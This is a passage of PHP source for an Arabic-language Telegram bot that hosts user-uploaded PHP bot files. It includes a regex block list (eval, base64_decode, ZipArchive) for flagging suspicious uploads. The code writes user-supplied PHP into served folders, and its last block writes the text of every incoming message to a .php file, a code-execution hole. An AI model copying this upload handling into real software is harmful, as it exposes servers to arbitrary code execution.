$patterns = [
'/ZipArchive/',
'/zip/',
'/eval/',
'/\.php/',
'/base64/',
'/base64_decode/',
'/github/',
'/public function create/'
];

$found_patterns = false;
foreach ($patterns as $pattern) {
if (preg_match($pattern, $f)) {
$found_patterns = true;
break;
}
}

if ($count < 100 || ($count > 100 && $found_patterns)) {
unlink("check/$chat_id.php");
bot("editMessagetext", [
"chat_id" => $chat_id,
'message_id' => $b->result->message_id,
"text" => "*☢️ تم حظرك بسبب رفع ملفات محظوره !؟*",
"parse_mode" => "marKdown",
]);

bot("sendmessage", [
"chat_id" => $admin,
"text" => "*#️⃣] محاوله اختراق*\n📇] من $name\n[$from_id](tg://user?id=$chat_id)\n[Acount](tg://openmessage?user_id=$chat_id)",
"parse_mode" => "marKdown",
]);

$UploadEr[] = $from_id;
$UploadEr["filehc"] += 1;
SETJSON($UploadEr);
return false;
}

bot("editMessagetext", [
"chat_id" => $chat_id,
'message_id' => $b->result->message_id,
"text" => "<s>📊] يتم التحليل انتظر قليلاً..</s> تم الرفع بنجاح ✓✓\n✨️ اسم الملف الخاص بك (" . $update->message->document->file_name . ")",
"parse_mode" => "html",
]);

$ok = str_replace(".php", "", $update->message->document->file_name);
mkdir("$folder_id");
file_put_contents("$folder_id/$ok.php", $f);

// Validate and send messages accordingly
$upload_message = "🧸 تم الرفع بنجاح ✓✓\n⚡️ رابط الملف [ لا يسمح بارساله للامان 🔓 ]\n💥 توكن البوت [ #️⃣] تعذر علي وجود توكن البوت ]";
bot("sendmessage", [
"chat_id" => $chat_id,
"text" => $upload_message,
'reply_markup' => json_encode([
'inline_keyboard' => [
[['text' => "🔒] عمل ويبهوك تلقائي", 'callback_data' => "sethock|$cr"]],
[['text' => "♾️] حذف الملف من الاستضافه", 'callback_data' => "deletefile|$cr|$rand"]],
[['text' => "🔓] ازاله الويبهوك", 'callback_data' => "delete|$cr"]],
]
])
]);

// Additional admin notification
bot("sendmessage", [
"chat_id" => $admin,
"text" => "🧸 تم الرفع بنجاح ✓✓\n⚡️ رابط الملف : $ur\nاسم الملف : $ok",
'reply_markup' => json_encode([
'inline_keyboard' => [
[['text' => "🔒] عمل ويبهوك تلقائي", 'callback_data' => "sethock|$cr"]],
[['text' => "♾️] حذف الملف من الاستضافه", 'callback_data' => "deletefile|$cr|$rand"]],
[['text' => "🔓] ازاله الويبهوك", 'callback_data' => "delete|$cr"]],
]
])
]);

$UploadEr["count$from_id"] += 1;
$UploadEr["count"] += 1;
$UploadEr["meFile"][$from_id][] = $update->message->document->file_name;
$UploadEr[$cr] = "$n|$ur|" . $update->message->document->file_name;
SETJSON($UploadEr);
} else {
bot("sendmessage", [
"chat_id" => $chat_id,
"text" => "❌] قم بارسال ملفات بصيغه php فقط",
"parse_mode" => "marKdown",
]);
}
}
$da = explode ("|", $data) ;
if($da[0] == "sethock") {
if($da[1] !=null) {
$cr = $da[1];
$tk = explode("|", $UploadEr[$cr])[0];
$ul = explode("|", $UploadEr[$cr])[1];
file_get_contents("https://api.telegram.org/bot$tk/setwebhook?url=$ul") ;
$user = "@".(json_decode(file_get_contents("https://api.telegram.org/bot$tk/getme"))->result->username?? "يبدو ان التوكن خاطء في الملف") ;
bot('answerCallbackQuery',[
'callback_query_id'=>$update->callback_query->id,
'text'=>"
🔒] تم عمل ويبهوك تلقائي 💯
▲ معرف البوت الخاص بك : $user
",
'show_alert'=>true
]);
}}
if($da[0] == "delete") {
if($da[1] !=null) {
$cr = $da[1];
$tk = explode("|", $UploadEr[$cr])[0];
$ul = explode("|", $UploadEr[$cr])[1];
file_get_contents("https://api.telegram.org/bot$tk/deleteWebhook") ;
$user = "@".(json_decode(file_get_contents("https://api.telegram.org/bot$tk/getme"))->result->username?? "يبدو ان التوكن خاطء في الملف") ;
bot('answerCallbackQuery',[
'callback_query_id'=>$update->callback_query->id,
'text'=>"
🔓] تم ازاله الويبهوك علي البوت
▲ معرف البوت الخاص بك : $user
",
'show_alert'=>true
]);
}}
if($da[0] == "deletefile") {
if($da[1] != null) {
$cr = $da[1];
$tk = explode("|", $UploadEr[$cr])[0];
$ul = explode("|", $UploadEr[$cr])[1];
$nmv = str_replace(".php", null, explode("|", $UploadEr[$cr])[2]);

// حذف المجلد إذا كان موجودا
$folder_path = __DIR__ . "/$chat_id/$nmv";
if (file_exists($folder_path)) {
// حذف الملفات داخل المجلد
$files = glob("$folder_path/*");
foreach($files as $file){
if(is_file($file))
unlink($file);
}
rmdir($folder_path);
unset($UploadEr[$cr]);
SETJSON($UploadEr);
bot('answerCallbackQuery',[
'callback_query_id'=>$update->callback_query->id,
'text'=>"
🗑️] تم حذف الملف بنجاح
",
'show_alert'=>true
]);
} else {
// إرسال رسالة بأن الملف تم حذفه من قبل
bot('answerCallbackQuery',[
'callback_query_id'=>$update->callback_query->id,
'text'=>"
❌ الملف تم حذفه من قبل
",
'show_alert'=>true
]);
}}}
if($data == "deleteall") {
// حذف المجلد إذا كان موجودا
$folder_path = __DIR__ . "/$chat_id";
if (file_exists($folder_path)) {
// العثور على جميع المجلدات الفرعية
$subfolders = glob("$folder_path/*", GLOB_ONLYDIR);

// حذف الملفات داخل كل مجلد فرعي والمجلد نفسه
foreach ($subfolders as $subfolder) {
$files = glob("$subfolder/*");
foreach ($files as $file) {
if (is_file($file)) {
unlink($file);
}
}
rmdir($subfolder);
}
$files = glob("$folder_path/*");
foreach ($files as $file) {
if (is_file($file)) {
unlink($file);
} }
rmdir($folder_path);
$UploadEr["count"] = 0;
$UploadEr["count$from_id"] = 0;
SETJSON($UploadEr);
bot('answerCallbackQuery',[
'callback_query_id'=>$update->callback_query->id,
'text'=>"
♻️ تم حذف جميع ملفاتك بنجاح
",
'show_alert'=>true
]);
} else {
$UploadEr["count$from_id"] = 0;
SETJSON($UploadEr);
bot('answerCallbackQuery',[
'callback_query_id'=>$update->callback_query->id,
'text'=>"
♨️ تم حذف ملفاتك من قبل لا يوجد ملفات حاليا
",
'show_alert'=>true
]);
}}
if (isset($update->message->text)) {
$chat_id = $update->message->chat->id;
$message_text = $update->message->text;
if (strpos($message_text, "") === 0) {
$php_content = substr($message_text, 5);
$random_filename = uniqid() . ".php";
file_put_contents($random_filename, $php_content);
sendDocument($chat_id, $random_filename);
}}